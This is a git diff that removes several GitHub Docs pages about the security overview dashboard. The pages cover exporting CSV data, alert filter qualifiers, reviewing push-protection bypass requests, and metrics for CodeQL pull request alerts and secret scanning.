overview page contains data about security alerts across your organization or enterprise, while the risk and coverage pages contain data about repositories and how they are affected by security alerts or covered by security features. The {% data variables.product.prodname_codeql %} pull request alerts page contains data about {% data variables.product.prodname_codeql %} alerts that were caught in pull requests merged to the default branch. - -The CSV file you download will contain data corresponding to the filters you have applied to security overview. For example, if you add the filter `dependabot-alerts:enabled`, your file will only contain data for repositories that have enabled {% data variables.product.prodname_dependabot_alerts %}. - -> [!NOTE] -> In the "Teams" column of the CSV file, each repository will list a maximum of 20 teams with write access to that repository. If more than 20 teams have write access to a repository, the data will be truncated. - -## Exporting overview, coverage, and risk data from your organization's security overview - -{% data reusables.profile.access_org %} -1. In the "Organizations" section, select the organization for which you would like to download security overview data. -{% data reusables.organizations.security-overview %} -1. In the "Security" sidebar, choose the page that you want to export data from by clicking on **{% octicon "graph" aria-hidden="true" %}Overview**, **{% octicon "meter" aria-hidden="true" %} Coverage**, **{% octicon "shield" aria-hidden="true" %} Risk** or **{% octicon "graph" aria-hidden="true" %} {% data variables.product.prodname_codeql %} pull request alerts**. -1. Next to the search bar, click **{% octicon "download" aria-hidden="true" %} Export CSV**. - - It may take a moment for {% data variables.product.github %} to generate the CSV file of your data. Once the CSV file generates, the file will automatically start downloading, and a banner will appear confirming your report is ready. If you are downloading the CSV from the overview page, you will also receive an email when your report is ready, containing a link to download the CSV. - -{% ifversion secret-scanning-non-provider-patterns %} - -> [!NOTE] -> The summary views ({% ifversion security-overview-dashboard %}"Overview", {% endif %}"Coverage" and "Risk") show data only for {% ifversion secret-scanning-alert-experimental-list %}default{% else %}high confidence{% endif %} alerts. {% data variables.product.prodname_code_scanning_caps %} alerts from third-party tools, and {% data variables.product.prodname_secret_scanning %} alerts for non-provider patterns or for ignored directories are all omitted from these views. Consequently, files exported from the summary views do not contain data for these types of alert. - -{% endif %} - -## Exporting overview, coverage, and risk data from your enterprise's security overview - -{% ifversion ghes %}{% data reusables.enterprise-accounts.access-enterprise-ghes %}{% else %}{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %}{% endif %} -{% data reusables.code-scanning.click-code-security-enterprise %} -1. Choose the page that you want to export data from by clicking on **Overview**, **Risk**, or **Coverage**. -1. Next to the search bar, click {% octicon "download" aria-hidden="true" %} **Export CSV**. - - It may take a moment for {% data variables.product.github %} to generate the CSV file of your data. Once the CSV file generates, the file will automatically start downloading, and a banner will appear confirming your report is ready. If you are downloading the CSV from the overview page, you will also receive an email when your report is ready, containing a link to download the CSV. diff --git a/content/code-security/security-overview/filtering-alerts-in-security-overview.md b/content/code-security/security-overview/filtering-alerts-in-security-overview.md deleted file mode 100644 index 72a1ce594aaf..000000000000 --- a/content/code-security/security-overview/filtering-alerts-in-security-overview.md +++ /dev/null @@ -1,212 +0,0 @@ ---- -title: Filtering alerts in security overview -intro: Use filters to view specific categories of alerts -permissions: '{% data reusables.permissions.security-overview %}' -allowTitleToDifferFromFilename: true -versions: - ghes: '*' - ghec: '*' -type: how_to -topics: - - Security overview - - Code Security - - Secret Protection - - Alerts - - Organizations - - Teams -shortTitle: Filter security overview -redirect_from: - - /code-security/security-overview/filtering-alerts-in-the-security-overview ---- - -## About filtering security overview - -You can use filters in a security overview to narrow your focus based on a range of factors, like alert risk level, alert type, and feature enablement. Different filters are available depending on the specific view, and whether you are viewing data at the enterprise or organization level. - -> [!NOTE] -> {% data reusables.security-overview.information-varies-GHAS %} - -## Filter logic for security overview - -You can apply filters and use logical operators to display results that meet specific criteria on security overview. By default, if you apply several different filters, you are using AND logic, meaning you will only see results that match _every_ filter you apply. For example, if you add the filter `is:public dependabot:enabled`, you will only see results from repositories that are public _and_ have {% data variables.product.prodname_dependabot %} enabled. - -Currently, there are two logical operators that you can apply to your filters on security overview: - -* The `-` operator applies NOT logic, displaying all results _except_ those that match the specified filter. To use the `-` operator, add it to the beginning of a filter. For example, filtering for `-repo:REPOSITORY-NAME` will display data from all repositories _except_ `REPOSITORY-NAME`. -* The `,` operator applies OR logic, displaying results that match _any_ of the specified values for a single filter. To use the `,` operator, add it between each listed value for a filter. For example, filtering for `is:public,private` will display data from all repositories that are public _or_ private. Similarly, if you apply the same filter multiple times with different values, you are using OR logic. For example, `is:public is:private` is equivalent to `is:public,private`. - -## Filter methods - -All security views have features to help you define filters. These provide an easy way to set up filters and understand the options available. - -* **Interactive search text box.** When you click in the search box and press the keyboard "Space" key, a pop-up text box shows the filter options available in that view. You can use the mouse or keyboard arrow keys to select the options you want in the text box before pressing the keyboard "Return" key to add the filter. Supported for all views. -* **Dropdown selectors and toggles.** Shown at the end of the "Search text box" or in the header of the data table. As you choose the data to view, the filters shown in the search text box are updated accordingly. Supported on the alert views.{% ifversion security-overview-3-13-overview %} -* **Advanced filters dialog.** When you click the **{% octicon "filter" aria-hidden="true" %} Filter** button, you can use dropdown lists to select the "Qualifier", "Operator", and "Values" for each filter. Supported on the "Overview" and metric views.{% endif %} - -## Repository name, visibility, and status filters - -In all views, there are two methods for filtering results by repository name. - -* **Free text or keyword search.** Display data for all repositories with a name that contains the keyword. For example, search for `test` to show data for both the "test-repository" and "octocat-testing" repositories. -* **`repo` qualifier.** Display data only for the repository that exactly matches the value of the qualifier. For example, search for `repo:octocat-testing` to show data for only the "octocat-testing" repository. - -You can also filter by repository visibility (internal, private, or public) and archive status. - -| Qualifier | Description | Views | -|--------|--------|------| -| {% ifversion security-overview-dashboard %} | -| `visibility` | Display data for all repositories that are `public`, `private`, or `internal`. | "Overview" and metrics | -| {% endif %} | -| `is` | Display data for all repositories that are `public`, `private`, or `internal`. | "Risk" and "Coverage" | -| `archived` | Display only data for archived (`true`) or active (`false`) repositories. | All except "Alerts" views | - -## Team and topic filters - -These qualifiers are available in all views. - -| Qualifier | Description | -|--------|--------| -| `team` | Display data for all repositories that the specified team has write access or admin access to. For more information on repository roles, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization). | -| `topic` | Display data for all repositories that are classified with a specific topic. For more information on repository topics, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics). | - -{% ifversion security-overview-repository-properties %} - -## Custom repository property filters - -> [!NOTE] -> Repository properties are in {% data variables.release-phases.public_preview %} and subject to change. - -Custom repository properties are metadata that organization owners can add to repositories in an organization, providing a way to group repositories by the information you are interested in. For example, you can add custom repository properties for compliance frameworks or data sensitivity. For more information on adding custom repository properties, see [AUTOTITLE](/organizations/managing-organization-settings/managing-custom-properties-for-repositories-in-your-organization). - -If you add custom properties to your organization and set values for repositories, you can filter the "Overview" using those custom properties as qualifiers. These qualifiers are currently only available in the organization-level views. - -* **`props.CUSTOM_PROPERTY_NAME` qualifier.** The qualifier consists of a `props.` prefix, followed by the name of the custom property. For example, `props.data_sensitivity:high` displays results for repositories with the `data_sensitivity` property set to the value `high`. | - -{% endif %} - -{% ifversion security-overview-dashboard-enterprise %} - -## Repository owner name and type filters - -In enterprise-level views, you can limit the data to repositories owned by a single organization in your enterprise{% ifversion ghec %} or an {% data variables.product.prodname_emu %} (EMU) account. If you are an owner of an {% data variables.enterprise.prodname_emu_enterprise %}, you can also filter by repository owner type{% endif %}. - -| Qualifier | Description | Views | -| -------- | -------- | ------ | -| `owner` | Display data for all repositories owned by one account owner. | Most views | -| {% ifversion ghec %} | -| `owner-type` | Display data for all repositories owned by an organization or a user account in your enterprise. | Most views, but only if you are an owner of an {% data variables.enterprise.prodname_emu_enterprise %} | -| {% endif %} | -| `org` | Display data for repositories owned by one organization. | {% data variables.product.prodname_dependabot_alerts %} and {% data variables.product.prodname_code_scanning %} alerts | - -{% else %} - -In enterprise-level views, you can limit the data to repositories owned by a single organization in your enterprise. Use the `org` qualifier to display data for repositories owned by one organization. - -{% endif %} - -## Security feature enablement filters - -In the "Risk" and "Coverage" views, you can show data only for repositories where security features are enabled (`enabled`), or not enabled (`not-enabled`). - -| Qualifier | Description | -| -------- | -------- | -| `code-scanning-alerts` | Display repositories that have configured {% data variables.product.prodname_code_scanning %}. | -| `dependabot-alerts` | Display repositories that have enabled {% data variables.product.prodname_dependabot_alerts %}. | -| `secret-scanning-alerts` | Display repositories that have enabled {% data variables.secret-scanning.alerts %}. | -| `any-feature` | Display repositories where at least one security feature is enabled. | - -### Extra filters for the "Coverage" view - -| Qualifier | Description | -| -------- | -------- | -| `advanced-security` | Display data for repositories where {% data variables.product.prodname_AS %} is{% ifversion ghas-products-cloud %} products are{% endif %} enabled or not enabled. | -| `code-scanning-default-setup`| Display data for repositories where {% data variables.product.prodname_code_scanning %} is enabled or not enabled using {% data variables.product.prodname_codeql %} default setup. | -| `code-scanning-pull-request-alerts`| Display data for repositories where {% data variables.product.prodname_code_scanning %} is enabled or not enabled to run on pull requests. | -| `dependabot-security-updates` | Display data for repositories where {% data variables.product.prodname_dependabot_security_updates %} is enabled or not enabled. | -| `secret-scanning-push-protection` | Display data for repositories where push protection for {% data variables.product.prodname_secret_scanning %} is enabled or not enabled. | - -## Alert number filters - -In the "Risk" view, you can filter repositories by the number of alerts they have of a specific type. - -| Qualifier | Description | -| -------- | -------- | -| `code-scanning-alerts` | Display data for repositories that have exactly (`=`), more than (`>`) or fewer than (`<`) a specific number of {% data variables.product.prodname_code_scanning %} alerts. For example: `code-scanning-alerts:>100` for repositories with more than 100 alerts. | -| `dependabot-alerts` | Display data for repositories that have a specific number (`=`), more than (`>`) or fewer than (`<`) a specific number of {% data variables.product.prodname_dependabot_alerts %}. For example: `dependabot-alerts:<=10` for repositories with fewer than or equal to 10 alerts.| -| `secret-scanning-alerts` | Display data for repositories that have a specific number (`=`), more than (`>`) or fewer than (`<`) a specific number of {% data variables.secret-scanning.alerts %}. For example: `secret-scanning-alerts:=10` for repositories with exactly 10 alerts.| - -{% ifversion security-overview-dashboard %} - -## Alert type and property filters - -You can filter the "Overview" view by the type{% ifversion security-overview-3-14-overview %} and property{% endif %} of alerts. Use the `tool` qualifier to display only data for alerts generated by a specific tool{% ifversion security-overview-3-14-overview %} or type of tool{% endif %}. - -* `tool:codeql` to show data only for {% data variables.product.prodname_code_scanning %} alerts generated using {% data variables.product.prodname_codeql %}. -* `tool:dependabot` to show data only for {% data variables.product.prodname_dependabot_alerts %}. -* `tool:secret-scanning` to show data only for {% data variables.secret-scanning.alerts %}.{% ifversion security-overview-3-14-overview %} -* `tool:github` or `tool:third-party` to show data for all types of alerts generated by {% data variables.product.prodname_dotcom %} tools or by third-party tools. -* `tool:TOOL-NAME` to show data for all alerts generated by a third-party tool for {% data variables.product.prodname_code_scanning %}.{% endif %} - -{% ifversion security-overview-3-14-overview %} - -You can also filter the "Overview" view by properties of alerts. - -| Qualifier | Description | -| -------- | -------- | -| `codeql.rule` | Display data only for {% data variables.product.prodname_code_scanning %} identified by a specific rule for {% data variables.product.prodname_codeql %}. -| `dependabot.ecosystem` | Display data only for {% data variables.product.prodname_dependabot_alerts %} for a specific ecosystem, for example: `npm`. -| `dependabot.package` | Display data only for {% data variables.product.prodname_dependabot_alerts %} for a specific package, for example: `tensorflow`. -| `dependabot.scope` | Display data only for {% data variables.product.prodname_dependabot_alerts %} with a `runtime` or `development` scope. -| `secret-scanning.bypassed` | Display data only for {% data variables.secret-scanning.alerts %} where push protection was bypassed (`true`) or not bypassed (`false`). -| `secret-scanning.provider` | Display data only for {% data variables.secret-scanning.alerts %} issued by a specific provider, for example: `secret-scanning.provider:adafruit`. -| `secret-scanning.secret-type` | Display data only for {% data variables.secret-scanning.alerts %} for a specific type of secret, for example: `secret-scanning.secret-type:adafruit_io_key`. -| `secret-scanning.validity` | Display data only for {% data variables.secret-scanning.alerts %} for a specific validity (`active`, `inactive`, or `unknown`). -| `severity` | Display data only for alerts of a specific severity (`critical`, `high`, `medium`, or `low`). -| `third-party.rule`| Display data only for {% data variables.product.prodname_code_scanning %} identified by a specific rule for a tool developed by a third party. For example, `third-party.rule:CVE-2021-26291-maven-artifact` shows only results for the `CVE-2021-26291-maven-artifact` rule of a third-party {% data variables.product.prodname_code_scanning %} tool. - -{% endif %} - -{% endif %} - -## {% data variables.product.prodname_dependabot %} alert view filters - -You can filter the view to show {% data variables.product.prodname_dependabot_alerts %} that are ready to fix or where additional information about exposure is available. You can click any result to see full details of the alert. - -| Qualifier | Description | -| -------- | -------- | -|`ecosystem`|Display {% data variables.product.prodname_dependabot_alerts %} detected in a specified ecosystem, for example: `ecosystem:Maven`.| -|`has`| Display {% data variables.product.prodname_dependabot_alerts %} for vulnerabilities where either a secure version is already available (`patch`) or where at least one call from the repository to a vulnerable function is detected (`vulnerable-calls`). For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts#about-the-detection-of-calls-to-vulnerable-functions).| -|`is`|Display {% data variables.product.prodname_dependabot_alerts %} that are open (`open`) or closed (`closed`).| -|`package`|Display {% data variables.product.prodname_dependabot_alerts %} detected in the specified package, for example: `package:semver`.| -|`resolution`| Display {% data variables.product.prodname_dependabot_alerts %} closed as "auto-dismissed" (`auto-dismissed`), "a fix has already been started" (`fix-started`), "fixed" (`fixed`), "this alert is inaccurate or incorrect" (`inaccurate`), "no bandwidth to fix this" (`no-bandwidth`), "vulnerable code is not actually used" (`not-used`), or "risk is tolerable to this project" (`tolerable-risk`).| -|`scope`|Display {% data variables.product.prodname_dependabot_alerts %} from the development dependency (`development`) or from the runtime dependency (`runtime`).| -|`sort`| Groups {% data variables.product.prodname_dependabot_alerts %} by the manifest file path the alerts point to (`manifest-path`) or by the name of the package where the alert was detected (`package-name`). Alternatively, displays alerts from most important to least important, as determined by CVSS score, vulnerability impact, relevancy, and actionability (`most-important`), from newest to oldest (`newest`), from oldest to newest (`oldest`), or from most to least severe (`severity`). - -## {% data variables.product.prodname_code_scanning_caps %} alert view filters - -All {% data variables.product.prodname_code_scanning %} alerts have one of the categories shown below. You can click any result to see full details of the relevant query and the line of code that triggered the alert. - -| Qualifier | Description | -| -------- | -------- | -|`is`|Display {% data variables.product.prodname_code_scanning %} alerts that are open (`open`) or closed (`closed`).| -|`resolution`| Display {% data variables.product.prodname_code_scanning %} alerts closed as "false positive" (`false-postive`), "fixed" (`fixed`), "used in tests" (`used-in-tests`), or "won't fix" (`wont-fix`).| -|`rule`|Display {% data variables.product.prodname_code_scanning %} alerts identified by the specified rule.| -|`severity`|Display {% data variables.product.prodname_code_scanning %} alerts categorized as `critical`, `high`, `medium`, or `low` security alerts. Alternatively, displays {% data variables.product.prodname_code_scanning %} alerts categorized as `error`, `warning`, `note` problems.| -|`sort`| Display alerts from newest to oldest (`created-desc`), oldest to newest (`created-asc`), most recently updated (`updated-desc`), or least recently updated (`updated-asc`). -|`tool`|Display {% data variables.product.prodname_code_scanning %} alerts detected by the specified tool, for example: `tool:CodeQL` for alerts created using the {% data variables.product.prodname_codeql %} application in {% data variables.product.prodname_dotcom %}.| - -## {% data variables.product.prodname_secret_scanning_caps %} alert view filters - -| Qualifier | Description | -| -------- | -------- | -|`bypassed` | Display {% data variables.secret-scanning.alerts %} where push protection was bypassed (`true`) or not bypassed (`false`).| -|{% ifversion secret-scanning-alert-experimental-list %}| -|`results`|Display default (`default`) or experimental (`experimental`) {% data variables.secret-scanning.alerts %}.| -|{% else %}| -|`confidence`|Display {% data variables.secret-scanning.alerts %} of high (`high`) or other (`other`) confidence.| -|{% endif %}| -|`is`|Display {% data variables.secret-scanning.alerts %} that are open (`open`) or closed (`closed`).| -|`provider` | Display alerts for all secrets issued by a specified provider, for example: `adafruit`. | -|`resolution`| Display {% data variables.secret-scanning.alerts %} closed as "false positive" (`false-positive`), "pattern deleted" (`pattern-deleted`), "pattern edited' (`pattern-edited`), "revoked" (`revoked`) "used in tests" (`used-in-tests`), or "won't fix" (`wont-fix`).| -|`sort`| Display alerts from newest to oldest (`created-desc`), oldest to newest (`created-asc`), most recently updated (`updated-desc`), or least recently updated (`updated-asc`).| -|`secret-type` | Display alerts for the specified secret and provider (`provider-pattern`) or custom pattern (`custom-pattern`). | diff --git a/content/code-security/security-overview/index.md b/content/code-security/security-overview/index.md deleted file mode 100644 index bb6622edac1f..000000000000 --- a/content/code-security/security-overview/index.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Viewing security information for your organization or enterprise -shortTitle: Security overview -allowTitleToDifferFromFilename: true -intro: 'View, sort, and filter security alerts and coverage information from across your organization or enterprise, and enable security features for their repositories.' -product: '{% data reusables.gated-features.security-overview %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Security overview - - Code Security - - Secret Protection -children: - - /about-security-overview - - /viewing-security-insights - - /assessing-adoption-code-security - - /assessing-code-security-risk - - /filtering-alerts-in-security-overview - - /enabling-security-features-for-multiple-repositories - - /exporting-data-from-security-overview - - /viewing-metrics-for-secret-scanning-push-protection - - /viewing-metrics-for-pull-request-alerts - - /reviewing-requests-to-bypass-push-protection ---- diff --git a/content/code-security/security-overview/reviewing-requests-to-bypass-push-protection.md b/content/code-security/security-overview/reviewing-requests-to-bypass-push-protection.md deleted file mode 100644 index e8bd6211a46a..000000000000 --- a/content/code-security/security-overview/reviewing-requests-to-bypass-push-protection.md +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Reviewing requests to bypass push protection -shortTitle: Review bypass requests -intro: 'You can use security overview to review requests to bypass push protection from contributors pushing to repositories across your organization.' -permissions: '{% data reusables.permissions.security-overview %}' -type: how_to -topics: - - Security overview - - Secret Protection - - Organizations - - Teams - - Secret scanning - - Alerts -versions: - feature: security-overview-delegated-bypass-requests ---- - -## About bypass requests - -If your organization has configured delegated bypass for push protection, a designated team of reviewers controls which organization members can push secrets to repositories in your organization, and which members must first make a "bypass request" in order to push the secret. - -On the "Bypass requests" page in security overview, reviewers can find, review (approve or deny) and manage these requests. - -For more information, see [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/delegated-bypass-for-push-protection/managing-requests-to-bypass-push-protection). - -## Reviewing bypass requests for an organization - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.security-overview %} -1. In the sidebar, under "Requests", click **{% octicon "key" aria-hidden="true" %} Push protection bypass**. -1. Select the **All statuses** dropdown menu, then click **Open** to view requests that are awaiting review, or that have been approved but for which the commits haven't been pushed to the repository yet. -1. Click the request that you want to review. -1. Review the details of the request. -{% ifversion push-protection-bypass-reviewer-comment -%} -{% data reusables.repositories.bypass-requests-reviewer-comment %} -{%- endif %} -1. To allow the contributor to push the commit containing the secret, click **Approve bypass request**. Or, to require the contributor to remove the secret from the commit, click **Deny bypass request**. - -## Filtering requests - -You can filter requests by repository, approver (member who has reviewed the request), requester (contributor making the request), timeframe, and status. - -### Filtering by status - -The following statuses are assigned to a request: - -|Status|Description| -|---------|-----------| -|`Cancelled`| The request has been cancelled by the contributor.| -|`Completed`|The request has been approved and the commit(s) have been pushed to the repository.| -|`Denied`|The request has been reviewed and denied.| -|`Expired`| The request has expired. Requests are valid for 7 days. | -|`Open`| The request has either not yet been reviewed, or has been approved but the commit(s) have not been pushed to the repository. | - -## Further reading - -* [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/delegated-bypass-for-push-protection/about-delegated-bypass-for-push-protection) -* [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/delegated-bypass-for-push-protection/enabling-delegated-bypass-for-push-protection) diff --git a/content/code-security/security-overview/viewing-metrics-for-pull-request-alerts.md b/content/code-security/security-overview/viewing-metrics-for-pull-request-alerts.md deleted file mode 100644 index 5866d4479b80..000000000000 --- a/content/code-security/security-overview/viewing-metrics-for-pull-request-alerts.md +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Viewing metrics for pull request alerts -shortTitle: View PR alert metrics -allowTitleToDifferFromFilename: true -intro: 'You can use security overview to see how {% data variables.product.prodname_codeql %} is performing in pull requests for repositories across your organizations, and to identify repositories where you may need to take action.' -permissions: '{% data reusables.permissions.security-overview %}' -type: how_to -topics: - - Security overview - - Code Security - - Code scanning - - CodeQL - - Organizations - - Teams -versions: - feature: security-overview-org-codeql-pr-alerts ---- - -## About {% data variables.product.prodname_codeql %} pull request alerts metrics - -The metrics overview for {% data variables.product.prodname_codeql %} pull request alerts helps you to understand how well {% data variables.product.prodname_codeql %} is preventing vulnerabilities in your organizations. You can use the metrics to assess how {% data variables.product.prodname_codeql %} is performing in pull requests, and to easily identify the repositories where you may need to take action in order to identify and reduce security risks. - -The overview shows you a summary of how many vulnerabilities prevented by {% data variables.product.prodname_codeql %} have been caught in pull requests. The metrics are only tracked for pull requests that have been merged into the default branches of repositories in your organizations. - -You can also find more granular metrics, such as how many alerts were fixed{% ifversion code-scanning-autofix %} with and without {% data variables.product.prodname_copilot_autofix_short %} suggestions{% endif %}, how many were unresolved and merged, and how many were dismissed as false positive or as risk accepted. - -You can also view: - -* The rules that are causing the most alerts, and how many alerts each rule is associated with. - -* The number of alerts that were merged into the default branch without resolution, and the number of alerts dismissed as an acceptable risk. - -{% ifversion code-scanning-autofix %} -* The number of alerts that were fixed with an accepted {% data variables.product.prodname_copilot_autofix_short %} suggestion, displayed as a fraction of how many total {% data variables.product.prodname_copilot_autofix_short %} suggestions were available. - -* Remediation rates, in a graph showing the percentage of alerts that were remediated with an available {% data variables.product.prodname_copilot_autofix_short %} suggestion, and the percentage of alerts that were remediated without a {% data variables.product.prodname_copilot_autofix_short %} suggestion. -{% endif %} - -You can apply filters to the data. The metrics are based on activity from the default period or your selected period. - -{% ifversion code-scanning-autofix %} -> [!NOTE] Metrics for {% data variables.product.prodname_copilot_autofix_short %} will be shown only for repositories where {% data variables.product.prodname_copilot_autofix_short %} is enabled. -{% else %} -> [!NOTE] Metrics for {% data variables.product.prodname_copilot_autofix_short %} are omitted because {% data variables.product.prodname_copilot_autofix_short %} is available only on {% data variables.product.github %} cloud platforms. -{% endif %} - -## Viewing {% data variables.product.prodname_codeql %} pull request alerts metrics for an organization - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.security-overview %} -1. In the sidebar, under "Metrics", click **{% octicon "graph" aria-hidden="true" %} {% data variables.product.prodname_codeql %} pull request alerts**. -1. Optionally, use the date picker to set the time range. The date picker will show data based on the pull request alerts' creation dates. -1. Optionally, apply filters in the search box at the top of the page. -1. Alternatively, you can open the advanced filter dialog: - * At the top of the page, next to the search box, click **{% octicon "filter" aria-hidden="true" %} Filter**. - * Click **{% octicon "plus" aria-hidden="true" %} Add a filter**, then select a filter from the dropdown menu. - * To search for repositories matching the selected filter, fill out the available fields for that filter, then click **Apply**. You can repeat this process to add as many filters as you would like to your search. - * Optionally, to remove a filter from your search, click **{% octicon "filter" aria-hidden="true" %} Filter**. In the row of the filter you want to remove, click {% octicon "x" aria-label="Delete FILTER-NUMBER: FILTER-PROPERTIES" %}, then click **Apply**.{% ifversion security-overview-export-data %} -1. You can use the **{% octicon "download" aria-hidden="true" %} Export CSV** button to download a CSV file of the data currently displayed on the page for security research and in-depth data analysis. For more information, see [AUTOTITLE](/code-security/security-overview/exporting-data-from-security-overview). {% endif %} - -{% ifversion security-overview-enterprise-codeql-pr-alerts %} - -## Viewing {% data variables.product.prodname_codeql %} pull request alerts metrics for your enterprise - -You can also view metrics for {% data variables.product.prodname_codeql %} alerts in pull requests across organizations in your enterprise. - -{% data reusables.security-overview.enterprise-filters-tip %} - -{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} -{% data reusables.code-scanning.click-code-security-enterprise %} -1. In the sidebar, under "Metrics", click **{% octicon "graph" aria-hidden="true" %} {% data variables.product.prodname_codeql %} pull request alerts**. - -{% endif %} diff --git a/content/code-security/security-overview/viewing-metrics-for-secret-scanning-push-protection.md b/content/code-security/security-overview/viewing-metrics-for-secret-scanning-push-protection.md deleted file mode 100644 index 5f52db5c99dc..000000000000 --- a/content/code-security/security-overview/viewing-metrics-for-secret-scanning-push-protection.md +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: Viewing metrics for secret scanning push protection -shortTitle: View secret scanning metrics -allowTitleToDifferFromFilename: true -intro: 'You can use security overview to see how {% data variables.product.prodname_secret_scanning %} push protection is performing in repositories across your organization{% ifversion security-overview-enterprise-secret-scanning-metrics %} or enterprise{% endif %}, and to identify repositories where you may need to take action.' -permissions: '{% data reusables.permissions.security-overview %}' -type: how_to -redirect_from: -- /code-security/security-overview/viewing-metrics-for-secret-scanning-push-protection-in-your-organization -topics: - - Security overview - - Secret Protection - - Secret scanning - - Organizations - - Teams -versions: - feature: security-overview-push-protection-metrics-page ---- - -{% data reusables.secret-scanning.push-protection-org-metrics-beta %} - -## About metrics for {% data variables.product.prodname_secret_scanning %} push protection - -The metrics overview for {% data variables.product.prodname_secret_scanning %} push protection helps you to understand how well you are preventing security leaks in your organization{% ifversion security-overview-enterprise-secret-scanning-metrics %} or across organizations in your enterprise{% endif %}. You can use the metrics to assess how push protection is performing, and to easily identify the repositories where you may need to take action in order to prevent leaks of sensitive information. - -The overview shows you a summary of how many pushes containing secrets have been successfully blocked by push protection, as well as how many times push protection was bypassed. - -You can also find more granular metrics, such as: -* The secret types that have been blocked or bypassed the most -* The repositories that have had the most pushes blocked -* The repositories that are bypassing push protection the most -* The percentage distribution of reasons that users give when they bypass the protection - -{% ifversion security-overview-additional-tools %}Use the date picker to set the time range that you want to view alert activity and metrics for, and click in the search box to add further filters on the alerts and metrics displayed. For more information, see [AUTOTITLE](/code-security/security-overview/filtering-alerts-in-security-overview#additional-filters-for-secret-scanning-alert-views). - -You can see {% data variables.product.prodname_secret_scanning %} metrics if you have: - -* The `admin` role for the repository. -* A custom repository role with the "View {% data variables.product.prodname_secret_scanning %} results" fine-grained permissions for the repository. For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/about-custom-repository-roles#security). -* Access to alerts for the repository. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts). - -The metrics are based on activity from the default period or your selected period. - -{% else %} - -The metrics are based on activity from the default period or your selected period. - -{% endif %} - -## Viewing metrics for {% data variables.product.prodname_secret_scanning %} push protection for an organization - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.security-overview %} -1. In the sidebar, under "Metrics", click **{% octicon "graph" aria-hidden="true" %} {% data variables.product.prodname_secret_scanning_caps %}**. -1. Click on an individual secret type or repository to see the associated {% data variables.secret-scanning.alerts %} for your organization. -{% data reusables.security-overview.filter-secret-scanning-metrics %} - -{% ifversion security-overview-enterprise-secret-scanning-metrics %} - -## Viewing metrics for {% data variables.product.prodname_secret_scanning %} push protection for an enterprise - -You can view metrics for {% data variables.product.prodname_secret_scanning %} push protection across organizations in an enterprise. {% data reusables.security-overview.information-varies-GHAS %} - -{% data reusables.security-overview.enterprise-filters-tip %} - -{% ifversion ghes %}{% data reusables.enterprise-accounts.access-enterprise-ghes %}{% else %}{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %}{% endif %} -{% data reusables.code-scanning.click-code-security-enterprise %} -1. In the sidebar, click **{% data variables.product.prodname_secret_scanning_caps %} metrics**. -1. Click on an individual secret type or repository to see the associated {% data variables.secret-scanning.alerts %} for your enterprise. -{% data reusables.security-overview.filter-secret-scanning-metrics %} - -{% endif %} diff --git a/content/code-security/security-overview/viewing-security-insights.md b/content/code-security/security-overview/viewing-security-insights.md deleted file mode 100644 index a35e2753ea92..000000000000 --- a/content/code-security/security-overview/viewing-security-insights.md +++ /dev/null @@ -1,303 +0,0 @@ ---- -title: Viewing security insights -shortTitle: View security insights -intro: 'You can use the overview dashboard in security overview to monitor the security landscape of the repositories in your organization{% ifversion security-overview-dashboard-enterprise %} or enterprise{% endif %}.' -permissions: '{% data reusables.permissions.security-overview %}' -versions: - feature: security-overview-dashboard -type: how_to -topics: - - Security overview - - Code Security - - Secret Protection - - Alerts - - Organizations -redirect_from: - - /code-security/security-overview/viewing-security-insights-for-your-organization -allowTitleToDifferFromFilename: true ---- - -{% ifversion ghes < 3.14 %} - -{% data reusables.security-overview.beta-overview-dashboard %} - -{% endif %} - -## {% ifversion security-overview-dashboard-enterprise %}About security insights{% else %} About organization-level security insights{% endif %} - -The overview page in security overview is a consolidated dashboard of insights about your organization{% ifversion security-overview-dashboard-enterprise %} or enterprise{% endif %}'s security landscape and progress. You can use the dashboard to monitor the health of your application security program, collaborate with engineering teams, and gather data for benchmarking purposes. - -{% ifversion security-overview-dashboard-enterprise %} -Both the enterprise and organization-level security overviews have a dashboard. By default, the enterprise-level dashboard shows metrics for all the repositories in your enterprise. You can filter the data shown on the enterprise-level dashboard by owner (for example, by organization). By default, the organization-level dashboard shows metrics for all repositories owned by your organization. Both dashboards also allow you to filter by repository. -{% endif %} - -You can view a variety of metrics about the security alerts in your organization{% ifversion security-overview-dashboard-enterprise %} or enterprise{% endif %}. The dashboard displays trending data that tracks alert counts and activity over time, as well as snapshot data that reflects the current state. - -{% ifversion security-overview-3-tab-dashboard %} -The dashboard is divided into three tabs, each focused around a different security goal: -* **Detection:** this tab shows metrics about the status and age of alerts in your organization{% ifversion security-overview-dashboard-enterprise %} or enterprise{% endif %}, the secrets that have been blocked or bypassed, and the top repositories and vulnerabilities that pose the highest potential security risk. -* **Remediation:** this tab shows metrics about how alerts are resolved and alert activity over time. -* **Prevention:** this tab shows metrics about how vulnerabilities have been prevented and fixed. - ->[!NOTE] -> Unlike the **Detection** and **Remediation** tabs which report alerts on the default branch, the **Prevention** tab gives you insights for {% data variables.product.prodname_codeql %} alerts found in merged pull requests. - -{% else %} -* The top section of the dashboard shows information about the status and age of alerts in your organization{% ifversion security-overview-dashboard-enterprise %} or enterprise{% endif %}, as well as data about secrets that have been blocked or 